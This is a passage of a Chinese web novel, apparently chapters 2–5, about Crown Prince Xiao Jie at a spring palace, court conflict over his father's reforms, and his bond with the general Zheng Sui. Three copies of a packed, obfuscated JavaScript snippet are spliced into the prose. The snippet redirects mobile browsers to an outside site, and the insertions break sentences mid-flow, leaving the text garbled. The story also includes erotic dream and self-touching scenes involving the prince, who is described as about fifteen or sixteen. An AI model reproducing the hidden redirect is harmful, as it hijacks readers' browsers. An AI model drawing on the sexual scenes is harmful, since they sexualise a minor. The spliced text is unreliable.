那是我第一次见到太子萧玠,奉皇十五年,一个行宫三月的春天。我至今仍记得我抬头时,先于东宫仪仗所看到的天色,流苏飘拂的华盖由风掀动,露出一片明净的淡青。 太子仪仗甫现宫门前,乐者们便隐隐骚动起来。萧玠驾幸劝春,却不叫人跪拜相迎。这有些像他父亲积年的怪癖。 大梁人尽皆知,自从皇帝八年前大病痊愈后,除必要的朝见典礼,私下已不叫人跪拜磕头了。 我面前两个女孩子是新入教坊的乐者,我隐约记得她们一个箜篌,一个舞蹈,箜篌的叫忆奴,舞蹈的叫妙娘。她们俨然是一双闺中密友,深宫伙伴,豆蔻之龄,青春美丽。二人尚未到白头闲话之年,对未知的宫苑生活仍有期待。 我听见忆奴悄声道:“你说,我们要如何称呼太子,叫殿下吗?还是依从旧习喊个诨名?” 教坊自开国设立,与大梁朝同寿,至今已有五百个春秋。五百年里入教坊娱乐的王公子弟不在少数,从来都是择个诨名叫,显得亲近,气氛也活络。 那边妙娘便道:“何止殿下,陛下这两年出京巡幸四方,见了百姓,不也只叫大伙喊诨号么——六郎。” 忆奴忙说:“错了错了,六郎是不让叫的。从前有人这样玩笑,陛下当即变了颜色,却不是发怒,叫人瞧着心里难过。陛下便说,叫咱们喊六哥。” 妙娘双手合在心口,轻轻嘘气:“天爷,险些犯了忌讳。” 忆奴笑道:“陛下仁善,断不会和咱们计较的。也不怨你记混,从来都是唤六郎便宜,哪有信口喊六哥的?” 我对皇帝的印象和大部分梁人一样,是熟知而模糊的。皇帝对我来说只是一尊偶像,他那些征南伐北的事迹和雷厉风行的手腕,让我在脑中把他塑造成一位怒目的凶神。神没有七情六欲。直到此时此刻,我才从讳莫如深的“六郎”两个字下窥见一点他情感的余烬。我直觉太子作为他一段情感的火苗,和这余烬一定有着千丝万缕的联系。 仪仗前进,人群中一派克制的雀跃。妙娘挽住女伴的手向外张望,轻声道:“陛下这样好的脾气,怎会将殿下撵到行宫里来的?” 忆奴忙捂她的嘴,“你从哪里听的?这话如何讲得?” 妙娘握住她的手,低声道:“别慌张,你天天只知道摆弄乐器,自然没听闻这些。听说殿下此番驾幸劝春是当廷顶撞了陛下,还是为着前朝的一桩事故。” 她讲到这里不免噤声,四下瞧瞧,俯在忆奴耳边。但她说到前朝,我心中便隐约明白,太子萧玠与其父究竟因何对抗。 八年之前,皇帝发动过一场激进变法,敕令废除皇太子继承制,天下震动,臣民惶恐。皇帝的废储旨令因百官罢朝、士子叩门无疾而终,但他的野心之火并非自此熄灭。我察觉到,皇帝改换策略,把这可怕的炬火点成蜡烛传递天下,温和的光明是众人乐见并接受的。同时,我有一种直觉,驱逐秦公或许正是皇帝改变方式的初始。 虽然在现有记录看来,天子与秦灼的割席顶多算一次集权的加强,并不是改革显见的动因,所以很少有人把这位秦氏诸侯和萧氏帝国建立一些密切联系。但不得不承认,秦灼南归可以作为梁皇帝生命状态的一道分水岭,他从此成为一只失伴的鸳鸯,一株半死的梧桐。我没有见过他们任何一个人,但我就是知道。我知道这一切远早于我见到萧玠,这鸳鸯羽翼掩护下初孵的卵,这梧桐枯叶遮蔽下新生的根。 这时,妙娘朱唇蹭过忆奴耳畔,找话道:“早听闻夏相公这位老师极得殿下敬重,只是没想到殿下竟会为他与陛下龃龉。” 忆奴道:“夏相公与陛下政见不和是长久之事,只是如今陛下弹压他厉害,殿下又长大了,夹在中间,尤其难做。听说陛下这次要再改科举,允许商人子弟一同考试……” 妙娘道:“这是天大的好事呀。我家是商贾出身,若我阿弟也能赚个功名回来,一家人哪会这么四散分离……” 忆奴轻抚她后心,叹息道:“咱们看来是好事,那些大夫眼中可是天大的坏事。我听说,陛下对当兵的那一套似乎还有改动的念头。那一群老夫子贤大夫,一个个又攒了冒死进谏的势头。夏相公既是世族之首,又是太子之师,满朝文臣他最贵重,自然带了这个头。陛下动怒,夺了他的鱼袋,罚他闭户家中。” “夺鱼袋,那岂不是要罢官了?” “谁说不是?可怜东宫自幼无母,深宫多年,只有这么一个贴心的老师。他力争无果,为了回护夏相公,只能自请退居行宫。听说这事在朝中也有一闹呢,没成想陛下会答应。” 人声至此戛然。众人高抬的脑袋突然低俯,是队前四把瑞草伞飘荡而来。我一动不动,抬首望向东宫出行的繁琐仪仗——四把深红伞盖后,又是四把方伞、四面龙旗,又是羽葆幢和引幡的流苏垂落,宛如一道迟重的晚虹。 我隐隐察觉如此盛大排场与太子不许跪拜的诏令背道而驰。 遮障舆驾的孔雀羽扇近在眼前,众人低头垂颈,只有我灵魂出窍地仰头直视,看到太子舆轿中空无一人的真相。 这也就成为我和萧玠两个人的秘密。 奉皇十五年上巳,“梁太子”在万众簇拥下驾幸劝春,萧玠也随同前往,任性地,一个人。 太子并没有接受教坊众人拜见,却仍分发了礼物。这点很有他父亲的影子,不赐金银珠宝,是一些蜜饯酒水、纸笔花笺。我听闻皇帝去年竟在内宫圈了一片田亩作耕地之用,赏赐大臣的节礼不是别的,竟是天子新种的粮食菜蔬。这样闻所未闻之事,未尝不是比身外之物更大的恩典。金银易得,天子的庄稼几人能求呢?正如现在,一众宫人内人各领了东宫亲酿的酒水和亲笔的诗笺,俱喜笑颜开。 轮到我,所剩已不多。我便拿了一支梨花笺,并一盒琵琶轸子。 分管赏赐的内侍便问我:“郎君是习琵琶的吗?” 我笑了笑,尚未答,众人已起哄道:“内官不识得他,他是我们教坊有名的乐者沈娑婆。他何止习琵琶,再过两年,只怕要修成个琵琶国手呢。” 我忙推让道:“众位哥哥姐姐可别臊我,鹤驾在此,我哪敢称国手。” 妙娘得了一只香囊,正和忆奴互相结系在对方裙带上,闻言笑道:“鹤驾修的是南琵琶,七郎修的是北琵琶,俱是上好妙音。你们各作一双国手两不耽误,说不定还有高山流水的缘分呢!” 太子并非高坐云端之人,我们随意玩笑,他的侍者也不生气,又将东宫所酿酒水尽数分发给我们吃。说笑之际,侍者便考较我们,能不能尝出原料。从桂花猜到梅子,总是难谒得真容,又到了我这里,我便问:“梨花么?” 侍者笑道:“郎君今日可是连中头彩呢。” 众人也笑:“只知七郎拨弦的手指灵活,不料还有这样灵的一条舌头。” 我忙道:“我也是蒙的。听闻东宫有一株前朝就种下的梨树,正应景,想着殿下明敏,多半就地取材。” 又聚在一处笑闹多时,酒阑人散,仍未识东宫面目。众乐者再谢恩散去,三三两两地走。 不远处,忆奴妙娘共打一盏灯笼,两人帔子相结,腰间香囊穗子也缠绕一处。妙娘趁着醉态,跳了几步飞天姿势。她故意扑到忆奴怀中,珠钗作响时两人笑声作响。 我在红墙底站了一会,抱着琵琶往后园去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566345|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 我一个人不知在树底走了多久,隔着池子,突然听到一缕乐声。 我掉首而望,只见冷月在林,林中如生凉雾,一池春水幽幽,如被乐声惊动。我追着音乐找到那把琵琶,顺着抚弦的手看到抚弦的人。 那是个少年人,约莫十五六岁,木簪束单髻,其余头发披散身后。他脚踩木屐,一身素衣坐在池边,池中倒影宛如一只未惊的白鸿。在这个距离我看不清他的脸,但我全然知道,这是我无数次寻找、无数次想见、无数次等待的面孔。他乌黑的瞳仁,素白的脸颊。他南人饱满的嘴唇,北人幽深的眉目。他是血红的罪孽果实,也是洁白的献祭羔羊。他和我天差地别,也和我一模一样。 这才是我第一次见到萧玠,和我在开始告诉你的截然不同。但又有什么很大的不同呢?相同的时间,奉皇十五年的三月。相同的地点,劝春行宫之内。唯一有所改动的就是细节,我把星天偷换成青天。 或许在这里你能发现我具有一定的表达天赋。杰出的谎话是一假九真,杰出的说谎者是自欺欺人。这其实和音乐异曲同工。杰出的音乐叫人身临其境其实没有,不是吗?音乐本就是一场旷世美妙的欺骗。 现在,我和萧玠的合奏即将开始,这也是我一生中最为杰出的一场演奏。 我在萧玠如泣如诉的乐声里席地而坐,在一个他抬头就能看到我的位置,换上他赐给我的琵琶轸子,拨动弦声。 这时我听到万树梨花的簌簌之音,在月下,像一颗心动。 萧玠与我四目相望时,悲凉之雾遍被华林。我想我已经听到了这支曲子的尾声。 *** 萧玠并不是任性取闹之人,早在他下舆前,便冷静告诉贴身内侍阿子:“我想自己走走,你们不要着急,亥时之前我一定回来,还要吃药。” 阿子新入东宫不久,比萧玠还要再小一岁,主意拿不准,萧玠已经走了。不过太子素来言而有信,踩着戌时的尾巴归来。 阿子先接琵琶,又捧姜汤,萧玠接碗时却问:“今天听你咳嗽了,没有多加件衣裳?” 阿子忙说:“不妨事,奴婢夜里多加被子。” 萧玠从案边坐下,姜汤只吃了一小半,“明天太医署来送药,记得提一句,只说我要的。” 他见阿子怔愣,笑了笑:“这是老规矩,你来不久,不知道。宫中药价不低,你们的分例银子又有限,若生几日的病,只怕饭都没得吃。跟我的就你们二三人,但凡头疼脑热的小毛病,只报我要吃药就好。反正我是镇日吃药。” 阿子低低应一声。 萧玠端起汤药,突然问道:“教坊里有没有琵琶弹得好的?” 他自觉这话问得不对,又改道:“谁琵琶弹得最好?” 阿子想了想,“听说有几个前朝就留下的琵琶手,还得过从前天子的夸赞。只是陛下不爱女乐,也没怎么演过。” 萧玠问:“年纪老大吗?” 阿子笑道:“年纪太轻,技艺也不见得精纯呢。” 萧玠点点头,继续吃药。 阿子试探道:“殿下是遇到什么人吗?” 萧玠笑道:“我遇到一把很好的琵琶。” 阿子不明所以,正要再问,突然听得外头人声脚步声乱作一团,忙出门去看,正有侍从赶进来,喘着粗气道:“有人策马夜闯行宫,还带剑披甲,只是他有东宫鱼符,臣等不敢轻易伤他,特来请示殿下……” 阿子看到,太子听见“鱼符”二字时双眼骤然点亮。他将没吃完的药碗丢开,声音急切道:“是小郑将军。快迎他进来,备点热汤吃食,问问厨房还有没有樱桃煎?” 3. 第 3 章 奉皇十五年的残月下,萧恒两鬓如染月华。 如果刚从玉升年尾声的故事过来,没有一个人不会惊讶。十六年时光在他身上的痕迹如同六十年。他本该青壮的身躯过早出现了衰朽迹象,和他那口已生锈痕的环首刀一样,很难打磨如新。 秋童走进来时萧恒还在批折子。他晓得近来朝上的争议。萧恒意图改革军械军制,当即受到一众世家反对。军械的油水太丰厚,牵一发动全身,世家不肯放弃这块肥肉。而萧恒有意对硝石矿作业的改革更是触及世家的根基——这是火药作业的源头,大多垄断于地方豪族手里。 萧恒要革新火器,首当其冲就是硝石矿的源头问题。收拢矿产阻力重重,更别提他同时要开设新的国有矿业。这本是无可厚非之事,但地方勘探出的硝石矿地点十分敏感。 大梁天然硝石产量不多,现有的矿洞出矿量逐年减少。而新探的地点无疑解此燃煤之急。 这是目前储量最丰、范围最广的一处,位于兴洲的一处山地。此山洞穴颇多,每洞天然硝石产量是寻常的四倍不止。 但棘手之处在于,此山名唤万凤山,是梁高皇帝祖坟地的初址。 萧恒要于万凤山开矿,当即引起轩然大波。哪怕高皇帝登基后便将祖坟迁入阳陵,万凤山依旧作为龙兴之地受人膜拜。 为首反对的正是夏秋声。 ——此系龙脉,更是国脉。岂能因一时小利而犯此大业。陛下若一意孤行,臣忧虑天命不长。 这就是夏秋声当堂抗驳的进言。 但如果放弃万凤山的硝矿,再探得适宜矿穴不知是何年月,更别说火器改革和军备精进了。 这件事上,萧恒完全位于舆论的下风,尤其在他禁足夏秋声、皇太子当廷顶撞之后。 但这些乱子,他并不希望萧玠牵涉。 萧玠避去行宫,也暂离朝堂风波,这件事利大于弊。 折子已经批了一摞高,秋童瞧一眼时辰,不敢多劝,只道:“行宫那边的消息来了。” 萧恒这才停笔,问:“今日药吃了?” “吃了。只是殿下又要了一副治风寒的方子。” 萧恒撂下笔,“抄回来没有?” 秋童从袖中取出药方双手奉上,萧恒接过看了一会,神情有寸许舒松,“估摸又给别人抓药了。” 秋童思索:“奴婢要么去太医署提醒一句。” 萧恒笑笑:“由他吧,阿玠有这份心,是好事。” 又絮絮问道:“今日下朝晚些,我回来他就走了,东西都带全了吗?他平日里的药都是阿双分包在匣子里,那套药具也得拿着,一会瞧瞧试毒石有没有带,没带快些给他送去。也不知道住多久,夏衣若是没带也给他捎一套,薄一些的冬衣也带着,再下雨,天又要冷。那边离宫外的点心铺子也近了,你交待他身边人,少叫他吃甜的。今日还咳不咳了?” 秋童一一答了,“陛下放心,东西一应齐全,连信筒都带去了。” 萧恒静一会,道:“还在给南边写信。” 秋童涩声道:“是,八年不辍。” 他有些不忍,叹道:“八年了,南边没有一封回信。殿下到底是大公的骨肉,大公他……” 他连萧玠也一起怨恨吗? 秋童发觉失言,忙去瞧萧恒神情。却见萧恒仍静静坐着,表情似乎殊无变化。 秋童忙岔开话,奉上一道奏折,“东宫递过来一封折子,看样是殿下离宫前写的。” 萧恒接过看了,说:“阿玠想在行宫新辟一座光明祠。不用修建,只要一间旧厢房,摆上东西就好。” 秋童疑道:“既不用兴修,这主意殿下自己拿就好了,又何必……?” 萧恒道:“他想叫我知道。” 秋童默然片刻,又道:“只是殿下请示到陛下跟前,这件事就要录事。殿下要供奉造像,也瞒不过礼部那边去。朝中对殿下信奉光明宗一直颇多非议……” 萧恒冷声打断:“要清算太子尚轮不到他们。” 秋童连忙应是。 萧恒看向纸上字迹,萧玠没有摹李寒的帖,学的是秦灼的行书。但秦灼从来没留过什么帖子。 萧恒看了一会,说:“告诉礼部,准许皇太子造像,铜像不要太大,一应用具也不要奢靡,能供奉香火就好。他祠堂所用,从我自己的用度里扣。再原话知会夏秋声,他若念着半点师生情分,就别拿这事做文章。” 秋童不料他答应爽快,劝道:“前朝对殿下的身世一直非议颇多,若真叫人看出马脚……” “八年了。”萧恒道,“孩子就是想存个念想。” 秋童鼻子一酸,“哎,奴婢这就去吩咐。” 他刚要退步出殿,便有龙武卫冲入殿中,抱拳跪倒,“陛下,行宫出事了。” 萧恒霍地站起来,“太子怎么样?” 前来的是如今的龙武卫将军尉迟松。自从秦灼去后,萧恒便空置龙武卫大将军一职,如今龙武正是由他统调。 尉迟松忙道:“陛下安心,太子殿下无恙。是游骑将军郑绥夜闯行宫,已经叫殿下按下了。郑绥已经奉旨……料理军机,如今无诏赶回……” “不是无诏。”萧恒道,“他通禀过我,我应允了。太子既然将人领了就罢了。给他家里报个平安,叫杨夫人安心。” 一场闯宫祸患弭于无形,尉迟松躬身退下,合上殿门。 旁人不清楚,秋童御前服侍,自然心知肚明,“郑绥将军到底年轻,不等陛下批准就赶了回来,交待他的又是那样重的事……” 萧恒道:“他是阿玠的伴读,他阿耶刚走那几年,多亏郑郎日夜陪着。这次敢担杀头的干系跑回来,怕是听了阿玠出宫的风声,还以为我要把他怎么着。” 秋童瞧他神色,倒不像不豫,便道:“郑郎又是郑素将军的长子,郑氏以后的家主,陛下当日选他做东宫伴读,不就是指着殿下能有个臂膀吗。既然是小事,不若给他个恩典,轻拿轻放也就是了。” “军机无小事,明日叫他进宫一趟。”萧恒叹道,“他这样待阿玠,我要多谢他的。” *** 郑绥快步赶到萧玠面前时尚未解甲,先扶住他双臂,把人上上下下瞧了一遍。 萧玠见他紧张神色,不由笑道:“怎么样,还好吧。” 郑绥这才松口气,向后退步跪倒,“请殿下降罪。” 萧玠扶他起来,又抬手给他解下盔顶,含笑道:“好啦,门一关就咱们两个。你怎么这就跑回来了?” 盔戴一卸,郑绥鬓毛微乱的脸才彻底露出来。因日夜兼程,眼下积了淡青,嘴唇也微微皲裂。他生得很像郑素,却更文质一些,甲胄在身也是个儒将。 郑绥嘴唇张合几下,没说出个所以然。 萧玠将他的盔顶放在案上,笑道:“你别怕,陛下只有我一个儿子,虎毒尚不食子。” 郑绥默然片刻,却只说:“这几日天气骤凉,殿下有没有咳嗽?” 萧玠指一指案上瓷碗,“吃药呢。” 郑绥随他手指看去,“又吃蜜煎。” 萧玠见那盘樱桃煎,道:“没有,我没动。” 郑绥蹙眉,“你吃蜜煎又要咳。” 萧玠忙道:“我晓得,真没动。是专程给你拿的。你又不信我。” “我信你。”郑绥问,“枇杷膏吃完了?” 萧玠点点头。 郑绥从他对面坐下,“现在不是时季,过几个月下了果子,我多熬一些。家中还有一些,过几日,我叫阿缚送到行宫来。” 萧玠笑了笑,应道:“好。你一路应当没怎么吃东西,我叫他们备饭去了。先尝尝点心。” 郑绥掠过樱桃煎,先捡了片桂花糕递给萧玠。萧玠摇手,说不好克化,郑绥便自己吃了。萧玠新给他倒了热姜茶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566346|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知怎么也没取新盏,用的是自己吃的盏子。两个人静静坐着,半晌没有说话。 阿子瞧着觉得古怪,这位郑郎恪守礼数,但又不完全像君臣之间的死板。太子待他极其亲厚,像兄弟像友生又都不像。他讲不出所以然,只觉这一室之中似乎只该有他们两个人,便轻轻退步掩门。 门扇关闭时,郑绥放下盏子,终于开口:“殿下……何故出宫?” 萧玠道:“前朝的事情,你一路上也该听说了。” 郑绥问:“只为前朝的事情吗?” 烛火静静烧着,萧玠垂着头,捻着袖子不讲话。 好一会,他才抬起脸,轻轻道:“绥郎,你别问我了,成吗?” 郑绥眼睑一动,道:“臣不问。瞧见殿下把琵琶取了出来,又谱了新曲吗?” 萧玠道:“我弹给你听。” 郑绥道:“好。” 萧玠抱过琵琶,说:“想吃点酒。” 郑绥皱眉,“你要咳嗽。” “只吃一点。”萧玠道,“我给他们分了梨花,咱们一块酿的枇杷酒我刚起出来。那酒淡的。” 郑绥过一会才开口:“只吃一点。” 萧玠脸上带了笑颜色,声音也高了,“不许吃到一半反悔。” 他见郑绥未反对,便又试探:“只怕宫门已经落钥,今晚不如留下。” 郑绥犹豫道:“此虽是行宫,到底算是禁中。臣是外臣,这不合礼数。” 萧玠叫:“绥郎。” 他拿眼睛央求,不再过多开口。两人目光来回片刻,郑绥叹口气,脸畔灯火微微一跳。 郑绥道:“好。” 酒至兴处,萧玠再抚琵琶。与一个时辰前不同,不再像冷月冷泉,自在得如生双翅。 灯下,萧玠饧眼斜身,琵琶置于膝上,边抚边唱。 郑绥静静看他,又吃一杯热酒。 数曲之后,萧玠抬手一划,抱琵琶坐着不动了。郑绥见他双颊彤红,伸手要试他的脸,萧玠在这时转头,直直盯着他,突然问:“你不热吗?” 郑绥一愣,下意识点头。 萧玠说:“热还穿甲呢。” 郑绥酒量比他好,但也没好多少,便站下榻,将甲胄卸掉。卸掉后也不知道做什么,就站着。 萧玠指指脖子,“都压青了。” 郑绥抬手一摸,甲胄已在颈侧勒了一圈痕迹,磨得有些破皮。他笑了笑:“不疼。” 萧玠将他地上的甲胄拾起来,掸掸灰尘,铺在膝盖上,说:“劳你回来一趟。” 郑绥只说:“没有。” 萧玠倚在案上,突然道:“其实我走,并不是只为老师。” 他侧脸趴了一会,轻声问:“绥郎,今夕何夕?” 郑绥道:“奉皇十五年,三月初三。” 萧玠笑道:“是,已经快要八年了。” 他脸埋在臂弯,被灯光映暖。郑绥静静看他一会,伸手用拇指替他擦了擦眼角。 萧玠笑一下,撑身捉起酒杯,“吃酒。” 郑绥和他轻轻一碰,一饮而尽。 冷月在天,幽烛彻夜。 萧玠酒吃得太多,只觉如陷云堆,浑身软得没力气。昏昏沉沉间,像有谁的鼻息洒落。他坐在榻边,郑绥仍站在榻前解甲。 甲胄落地后没有停下,他又除去革带,除去冠服,脱掉衣裤时也蹬掉靴子,最后手掌松开,将东宫鱼符按在案上。 郑绥走上前。 萧玠浑身动弹不得,脑袋也晕。 他要做什么? 郑绥从他面前站住,大半灯光映在他身上,他身体的每一寸纤毫毕现。萧玠有些脸热,却没有动一根手指的力气。 郑绥探出手,粗糙的指背缓慢摩挲他的侧脸。 萧玠心里觉得古怪,喃喃叫一声:“绥郎,我……” 郑绥低头吻住他。 4. 第 4 章 萧玠感觉嘴唇和齿关被撬动,有什么滑进口中,是郑绥的舌头。舌尖相触的一瞬间一些更久远的碎片从脑中闪过——甘露殿红帐摇曳,萧恒挟着脸亲吻秦灼。 下一刻他被郑绥压在底下。 萧恒脱掉秦灼衣袍时郑绥脱掉他的衣袍。萧恒注视秦灼郑绥注视他。郑绥吻着他注视他。 萧玠有些喘不过气,皱着脸呼吸,叫:“绥郎。” 郑绥抬起脸,问:“什么?” “我……有些难受。” “哪里难受?” 萧玠张不开口。 郑绥仍罩在他身上,垂手向下,抚摸着问:“这里吗?” 他指上生了茧子,萧玠浑身一麻,更说不出话。 郑绥仍低声问:“是这里吗,殿下?” 萧玠呜咽一声,身子向上一弹。 他睁开眼睛,案上蜡炬已灰。 是个梦。 这是……什么梦? 萧玠轻轻喘息,察觉黏腻,心中有些害怕。朦胧间一动,只觉后腰一硌。 是武人腰间的革带。 他浑身一僵,垂头看向身下,自己枕着郑绥的一条手臂。 郑绥衣衫俱全,和他相互枕藉着,这时也睁开眼,见萧玠神色骤然清醒,忙撑身起来,“臣酒后失仪,殿下……” 他要拉萧玠,萧玠却霎时白了脸,揽衣跳下榻,鞋都来不及穿,只道:“你再睡一睡,我、我还有事,我该去磕头了,我先走了。” 门扇砰地一响,在风中晃晃荡荡。萧玠落荒而逃的背影已然不见。 郑绥手指缩了缩,重新落回膝上,将榻边的甲胄拾起来。 *** 阿子不敢走远,一直在隔壁厢房守着,听见门开的动静,还未出去,便见萧玠匆匆跑出院子,好半晌,才见郑绥踏出门来。 听闻这位小郑将军比太子还要小些,看上去却更有年长的神气。此时弦月挂宫檐,郑绥已穿戴好甲胄,将盔抱在怀里,和刚来时没什么分别。只是脸色微酡,看得出浅吃过酒水。 郑绥在屋檐下略站了站,不知想什么,过一会才戴好盔戴,迈步下阶。 阿子在这时候迎上来,问:“将军要出宫吗?” 郑绥点点头,“我本就是无诏跑来的,再逗留下去,只怕对殿下不利。” 阿子晓得武将无诏返京是多大的过失,也不敢劝留,只问:“将军不等殿下回来?多少知会一声。” 郑绥一顿,“还是劳烦内官替我转达吧。”刚要抬步,又嘱咐:“以后别给殿下找蜜煎佐药,看着煮些金银花水。他有肺疾,那些糖饵他吃不得。” 阿子连忙应是。 郑绥话毕,却没有立刻走动。他原地立了片刻,终于转过身,“我还有一事,要请教内官。” 阿子忙道:“将军折煞奴婢,有话吩咐就是。” 郑绥斟酌片刻,还是道:“殿下金枝玉叶,如今旁居外室……个中是何缘故,望内官告诉我,叫我走个安心。” 阿子道:“殿下因为夏相公闭府之事心中郁郁,自请出宫的。” 郑绥沉吟不语。 天子舐犊情深,太子更是纯孝之人,很难只因国事而生龃龉。 只怕还有旁的缘故。 他问道:“殿下出宫前有没有什么异样,或者碰见什么人,遇着什么事?” 阿子思索一会,突然眼睛一亮,道:“还真有。前一段陛下的千秋,教坊进宫献艺,殿下去听他们排戏,回来就不太对了……” *** 萧玠跑入汤池时,四下空无一人。 他脸仍红着,也来不及解衣,合身跳进池中。他在水下闭不长气,不一会便挣出池子,在水花波纹间轻轻喘息。 梦中郑绥的气息仍在脸畔,那双手似乎仍抚身而过。萧玠浑身似被虫蚁爬过,一阵麻似一阵,鬼使神差地,双手探到衣摆之下。 水声波动响起。 萧玠紧紧闭目,腿有些站不住,贴着池壁往下滑。郑绥手上薄茧的触感在梦中也太过真实,余韵犹存在身。 郑绥叹息般叫他,殿下。 萧玠脑中啪地一响,眼前也有些朦胧。一片惊雷般的余声中,有袅袅曲声传来。 是当日,他步入后园所听的折子。 园中林花初绽,萧玠坐在栏边,听两名小生唱演。那二人一个扮君王一个扮将军,所唱正是今上初登基时郭雍容所献之曲。 萧玠合掌数鼓点,正听那君王念道:“朕与许郎至此,何患香烟。” 萧玠手掌一滞。 微风乍起,扑簌簌一阵飞花迎面,他只是不觉。 台上,君王问道:“朕肚里又藏着甚么?” 将军道:“万岁腹中含日月,乃是我王朝好河山。” 君王道:“令郎与河山在一处哩!” 萧玠骤然立起。 曲声戛然而止。 萧玠问:“怎么不演下去?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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惶惑间,那两名女子已经推门而入,隔着屏风,依约能看清双双纠缠的影子。萧玠听得急促呼吸和珠玉纠缠之声,那少女正轻声唤道:“忆奴,好姐姐,你真是要我的命……” 一场春梦初散不久,萧玠渐渐明白过来,不由脸红耳热。见那二人要往池中来,又不知去何处藏躲,衣衫微动,响起拨水之声,在空旷夜中尤为清晰。 屏风外一声惊呼,忆奴已急声叱道:“谁在里面!” 5. 第 5 章 衣裙曳地声微动,妙娘影子靠在屏风上,忆奴握了握她的手,提裙要往池边来。 萧玠紧贴池壁缩在角落。汤池虽有暖雾氤氲,却难以遮掩人形。 他正进退两难间,听得门外突然响起笑声:“东朝下降,还敢耍博戏呢,还不回去洗了酒气,小心我告诉你们班头去!” 那双女孩子受了惊,怕人查见,忙挽手拾裙从角门跑开了。萧玠舒松一口气,从池中站起来,却叫门外夜风一吹,冻得浑身一个哆嗦。 泡的虽是热汤,若这样一路湿衣回去,只怕免不了再病一场。 萧玠思索间,忽闻屏风后轻轻一响。 一只手自后探出,将一套干净衣物放在池边。 萧玠抬头,见屏风上映着人影,不梳鬟髻,亦不着罗裙,长身而立,显然是个男子。 那人未显真容,也未发一声,放下东西便转身离去了。 萧玠一颗心仍砰砰跳着,不敢多留,忙出池子更换衣衫。如今虽四下无人,但到底是娘子沐浴所在,萧玠只解衣已面红耳热。草草把袍子裹在身上,见底下还有一件织物。 是一条干净亵裤。 萧玠胸中脑中俱乱如麻,忙将那衣物一套,将湿衣抱在怀中,趿鞋跑出门去。桐木屐底浸了水,嗒嗒而响,倒像曲罢击节之声。 *** 直至夜半,阿子也未见萧玠回来,抱着披风从门口踱来踱去,心中盘算时辰,拿不准要不要侍卫去寻。正忐忑间,听闻门外响起跑动声。 阿子忙迎上去,惊声道:“啊呀,殿下怎么这样一身形容?奴婢叫人再煮热汤……” 萧玠裹了披风,只含糊道:“方才吃得酒醉,往汤池里泡了泡。” 阿子只以为他去了东宫所用的鸾池去,没有多想,忙拥萧玠进屋,叫人再去烧水煮汤。 萧玠脚跨过门槛,见案上酒壶倾倒,被褥微乱,榻边已空无一人,转头问:“郑郎走了?” 阿子道:“是,小郑将军到底是无诏返京,又是殿下亲侍,说闹到朝中对殿下不好。” 萧玠点点头,手指拉了拉披风门襟,问:“他还有什么话吗?” 阿子道:“将军说,望殿下爱重玉体,旁人的闲碎言语,千万别记挂在心里。明年开春,他一定回来。” 萧玠没再说什么,从榻边坐下,将酒壶酒杯放置好,又端碟子,只愣愣想,他一夜也没吃热食,只怕返程要饿。 这一会,阿子已准备好热水澡豆,萧玠到底怕病上加病,便要再泡一泡。他正解衣带,突然双手一滞,下一刻有些慌乱,上上下下翻检衣袍,又将抱回来的衣裳抖擞一遍,紧着嗓子叫:“阿子!” 阿子已退出门去,听得他唤,忙赶进来,正见萧玠煞白着脸,声音微颤:“你见没见我那串光明铜钱?” 阿子道:“这东西殿下不是一直贴身戴着么?奴婢等不敢轻易动的。” 萧玠不发一言,只翻检一物,哪里见着光明铜钱半个影子? 他素日持重,阿子没见过他如此失态的样子,骇了一跳,忙道:“殿下别急,奴婢去找,您先泡着,别再受凉!” 阿子正夺门要走,忽听得背后传来一声:“等等。” 萧玠叹道:“先不找了,你回去吧。” 阿子退下后,萧玠静静站了一会,再度解衣,跨到浴盆里。 八年来他书信不断,秦灼未有一次答音。如今他留给自己的铜钱遗失,是不是上天警示,他终于狠下心肠,将心中最后一点牵绊斩断? 就像当年,斩断自己这条孽根。 萧玠倚在桶壁上,仰起头,屋梁落在眼中。 阿耶嫌自己是孽障,阿爹……也觉得自己是耻辱。他若还有其他儿子,只怕便不是由自己这个身世狼藉的庶子做东宫了吧。自己要来行宫,阿爹轻易就答允了。当年阿耶还在朝,他便要废储…… 只怕他早就忌惮阿耶,连同忌惮这个有着一半南蛮血统的儿子。 只是。 萧玠轻轻眨动眼睛,一下,又一下。 只是你们这样厌恶我,为什么还要生下我? 他这么靠了一会,一个人滑到桶底。一缕涟漪后,浴桶一如死水。 *** 萧玠既不许找,阿子便不敢大张旗鼓,只叫人偷偷去寻,那串光明铜钱却似飞天遁地,再无踪迹。萧玠平复过来后心里明白,约莫是回来时匆忙遗失,又忆及当夜在芙蓉池的行径,如何还能叫女孩们入内,立即传令,只说前些日雨水脏了池子,命人将鸾池和芙蓉汤池一并禁封。等这阵仗过了,铜钱的事再作定夺。 他素来爱藏心思,第二日又恢复了言笑晏晏的样子。阿子便领命,先找教坊掌事的判官何仙丘带人封池,又出门迎神像,来了萧玠的另一桩心事。 